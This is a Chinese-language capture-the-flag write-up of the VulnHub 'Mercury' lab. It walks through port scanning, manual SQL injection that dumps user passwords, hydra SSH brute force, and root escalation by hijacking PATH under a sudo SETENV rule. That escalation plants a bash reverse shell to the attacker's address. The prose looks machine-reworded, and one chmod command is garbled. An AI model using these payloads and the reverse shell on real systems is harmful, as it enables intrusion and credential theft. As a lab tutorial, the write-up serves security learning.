vulnhub:Mercury官方下载

难度:⭐⭐

前言

本系列第4台靶机:Mercury,针对测验网站的渗透思路,主要涉及手艺sql注入以及绑架环境变量、构建伪指令提权的运用方法,其间不乏一些细节上的考量。

侦查

nmap进行端口扫描

在之前3篇靶机精讲平分别介绍了3种不同的方法进行主机发现和端口扫描,例如netdiscover、masscan、nmap甚至还有内置shell指令组成的bash脚本。这里以任何方法进行,以我的靶机IP10.10.10.134为例。

运用nmap进行端口扫描

sudo nmap -sT -T3 -p- 10.10.10.134

nmap不加sudo也能够履行,但引荐带上sudo,管理员权限能够拜访体系的一切资源,能够勘探某些受保护的网络接口和履行某些类型的扫描(例如-O勘探操作体系);-T3对标--min-rate 10000,但前者更智能化一些,能够依据网络状况和操作环境进行实时调整;另外,-sT能够省掉,当不指定端口类型时,默认是以TCP端口进行扫描。

参阅成果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo nmap -sT -T3 -p- 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 23:05 EDT
Nmap scan report for 10.10.10.134
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
MAC Address: 00:0C:29:57:A4:F7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds

该靶机只是开放了22和8080端口,最为权重最大的80端口竟然没有开放,但调查到8080端口是有http服务运转的,因而能够考虑从网页下手。

8080端口的信息收集

浏览器拜访8080端口,页面提示出网站正在晋级。一般来说,网站的晋级、维护等非正常运营时期大概率会伴随着信息走漏、缝隙运用等一系列危险,咱们就需求在信息收集全面的基础上对其进行逐渐地剖析和运用。

运用gobuster进行目录爆炸

sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q

相似的目录爆炸东西还有dirb、dirsearch、dirbuster,甚至能够用wfuzz进行目录或文件的含糊匹配,在后续打靶进程中会逐一用到。

参阅成果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/robots.txt           (Status: 200) [Size: 26]

扫描速率过慢先行中止,关于一些常见的或许目录咱们只能做一些手动测验,例如/images/admin.php等,发现页面报错

甄选靶机精讲系列(四)——Mercury:啥?80端口怎样消失了?

在“错误报告”页面中部走漏出2个要害信息,一个是robots.txt,其Disallow的内容为根目录;一个是/mercuryfacts/目录

先拜访mercuryfacts目录,其间展现了2个超链接,先看第一个

甄选靶机精讲系列(四)——Mercury:啥?80端口怎样消失了?

在第2篇靶机精讲中提到过,关于web的勘探有3点:源代码、URL、标题。上图所示的URL中,二级目录仅有数字,并且页面显现有id,就不难想到或许存在sql注入。sql注入缝隙是一个大专题,需求花很多时刻和精力进行研究,在本系列的sql注入中仅展示手艺注入的方法,它能够让咱们对注入流程及其绕过原理发生深度了解。

手艺注入sql缝隙

或许你会有疑问:凭什么有1个数字 有一个id就能判别它存在sql注入缝隙。其实开篇就现已提到了这是一个晋级中的网站,并开启了“错误报告”模式,因而任何语法错误或http报错都有回显。比如咱们在数字后边加一个单引号,URL应该是这样的:

http://10.10.10.134:8080/mercuryfacts/9'

因为不存在9'这个页面,正常网站是应该返回404状态码的,但因为咱们这个网站的特殊性,因而会返回如下页面

甄选靶机精讲系列(四)——Mercury:啥?80端口怎样消失了?

显现“SQL语法错误”,这就为咱们供给了sql注入的机会。

这里有个细节,咱们给它的id值不能为1-8,否则没有显位存余。显位能够经过order by判别,但在这里,因为每个id对应的fact数据只有1条,因而也不难剖析出字段数为1。

假如各位不论怎样操作页面一直报错,那么大概率是闭合方法判别失误。在判别闭合方法前,首先咱们应该确认id参数的数据类型为字符型(2-1等效于1),闭合方法常见的有无符号、单引号和双引号,经过在或许的闭合方法后增加注释符来确认。例如,当输入http://10.10.10.134:8080/mercuryfacts/9-- -时,页面回显正常,这就阐明sql查询语句采用的是无符号的闭合类型

基本逻辑判别完成后,接下来便是注入环节:

  1. 检查一切数据库:9 union select schema_name from information_schema.schemata;-- -

得到information_schemamercury两个数据库

  1. 检查mercury库中的一切表:9 union select table_name from information_schema.tables where table_schema='mercury';-- -

得到factsusers两张表

  1. 检查users表中的一切字段:9 union select column_name from information_schema.columns where table_schema='mercury' and table_name='users'

得到idusernamepassword4个字段

  1. 检查username中的数据:9 union select username from mercury.users;-- -

得到johnlaurasamwebmaster4个数据

  1. 检查password中的数据:9 union select password from mercury.users;-- -

得到johnny1987lovemykids111lovemybeer111mercuryisthesizeof0.056Earths4个数据

至此,数据库的信息就现已被咱们充分拿捏。总结起来,注入进程中因为没有字符过滤等约束,因而十分顺利,但在日后困难级别的靶机中,sql注入必定会结合其他类型的缝隙进行全局研判、综合运用,因而掌握缝隙的底层原理十分有必要。

测验ssh远程登录

关于任何一种状况咱们都需求做好周全的计划,脑中要构建出或许发生的种种状况,例如上述的4组凭证,他们都是用于ssh登录的吗?假如是,那账号和暗码是一一对应的吗?假如不是,咱们就有运用东西解决问题的必要性。

当然,手艺一个一个的去试必定也行,但当数据量大了之后,更引荐运用东西例如hydra进行自动化操作

hydra -L user.txt -P pass.txt ssh://10.10.10.134

履行指令前,咱们需提前准备好存放有4组凭证的user.txtpass.txt文件。关于hydra的POST用法,已在甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?中详细论述。

参阅成果:

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ hydra -L user.txt -P pass.txt ssh://10.10.10.134
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-31 06:32:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://10.10.10.134:22/
[22][ssh] host: 10.10.10.134   login: webmaster   password: mercuryisthesizeof0.056Earths
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-31 06:32:28

得到webmaster:mercuryisthesizeof0.056Earths凭证信息,测验ssh登录,拿到体系初始shell

枚举

因为是ssh登录,不需求担心终端交互性的问题。

首先进行当时用户的基本信息枚举

webmaster@mercury:~$ whoami
webmaster
webmaster@mercury:~$ id
uid=1001(webmaster) gid=1001(webmaster) groups=1001(webmaster)

然后进行体系的状态信息枚举

webmaster@mercury:~$ cat /proc/version
Linux version 5.4.0-45-generic (buildd@lgw01-amd64-033) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #49-Ubuntu SMP Wed Aug 26 13:38:52 UTC 2020
webmaster@mercury:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:57:a4:f7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.134/24 brd 10.10.10.255 scope global dynamic ens33
       valid_lft 1661sec preferred_lft 1661sec
    inet6 fe80::20c:29ff:fe57:a4f7/64 scope link 
       valid_lft forever preferred_lft forever

检查体系内有哪些其他用户

webmaster@mercury:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mercury:x:1000:1000:mercury:/home/mercury:/bin/bash
webmaster:x:1001:1001:,,,:/home/webmaster:/bin/bash
linuxmaster:x:1002:1002:,,,:/home/linuxmaster:/bin/bash

运用sudo -l检查有无文件能够以root身份履行;运用cat /etc/crontab检查体系有无定时使命;运用ls -l /home检查有无其他用户家目录的检查权限;运用ls -la ~检查当时用户家目录下有无非常规文件。最终,在/mercury_proj/目录下发现有notes.txt文件,其间存储着linuxmaster的base64格局用户暗码。

运用base64指令进行解密

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d 
mercurymeandiameteris4880km

看用户名字也知道,linuxmaster在体系内的权限会比webmaster高一些

测验切换用户

webmaster@mercury:~/mercury_proj$ su - linuxmaster
Password: 
linuxmaster@mercury:~$ 

切换用户会导致咱们所具有的权限发生变化,因而需求从头走一遍枚举流程

linuxmaster@mercury:~$ sudo -l
[sudo] password for linuxmaster: 
Matching Defaults entries for linuxmaster on mercury:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User linuxmaster may run the following commands on mercury:
    (root : root) SETENV: /usr/bin/check_syslog.sh

第7行是令人感兴趣的内容,一般状况下的用户权限为NOPASSWORD,而这里是SETENV,因而提权必定是围绕着check_syslog.sh文件打开的

SETENV表明check_syslog.sh文件能够运用修正后的环境变量以root身份履行,否则以secure_path环境变量履行。运用时需求加上--preserve-env选项。

已然能够不受secure_path的约束,那咱们就能够经过绑架环境变量、构建伪指令完成提权。跟前3台靶机相比,这种提权思路在本质上是相同的,只不过多了修正PATH这一过程。

先检查check_syslog.sh内容,确定伪指令对象

linuxmaster@mercury:~$ cat /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog

tail即是咱们的方针指令,至于履行的是哪个文件不重要。

因为咱们在该用户家目录下构建tail文件,因而需求将该目录增加进环境变量中

linuxmaster@mercury:~$ export PATH=/home/linuxmaster:$PATH
linuxmaster@mercury:~$ echo $PATH
/home/linuxmaster:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

当一个指令或可履行文件被履行时,体系会在PATH中定义的途径中顺次寻找是否存在该文件,因而,咱们将/home途径增加在最前面,当tail指令履行时,体系按顺序查找就会先调用/home/linuxmaster下的tail文件。

接下来咱们将在用户家目录下创建tail文件,写入bash反弹语句,并赋予履行权限

linuxmaster@mercury:~$ touch tail
linuxmaster@mercury:~$ echo 'bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"' > tail
linuxmaster@mercury:~$ cat tail                                                                       
bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1" 
linuxmaster@mercury:~$ chmod  x tail

此时,当咱们以sudo履行check_syslog.sh文件时,体系就会在环境变量中顺次寻找tail可履行文件,最终会将home目录下的tail文件以root身份履行,不出意外,kali中将收到rootshell。

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

履行sudo时需求加上--preserve-env=PATH保存PATH环境变量,需求留意的是,此选项作为单独的权限颗粒度独立于sudo权限之外,需求sudo -l的成果中指定有SETENV才具有该选项的履行权限

履行后,kali中出现以下响应即提权成功

┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.134: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.134] 51466
root@mercury:/home/linuxmaster# 

结语

这台靶机一反常态,没有暴显露80端口,但万变不离其宗,http服务仍在照常运转就有攻击面存在。在提权阶段,咱们没有将伪指令构建在/tmp目录下,论挑选哪个途径作为方针目录,其实也是依据当时用户所具有的权限来进行抉择的;假如各位留意调查syslog的输出成果就能够发现,在成果的第1行便是清除/tmp目录下的一切临时文件,因而咱们将方针途径选在家目录下是明智之举。

假如各位读者有任何与本台靶机相关的疑问或许有更好的见解,欢迎随时在评论区留言,我将诚挚回复!

系列精彩文章

# 甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?

# 甄选靶机精讲系列(二)——sar:史上最简洁朴素的攻击链

# 甄选靶机精讲系列(三)——narak:TCP?UDP?信息收集何时是个头啊!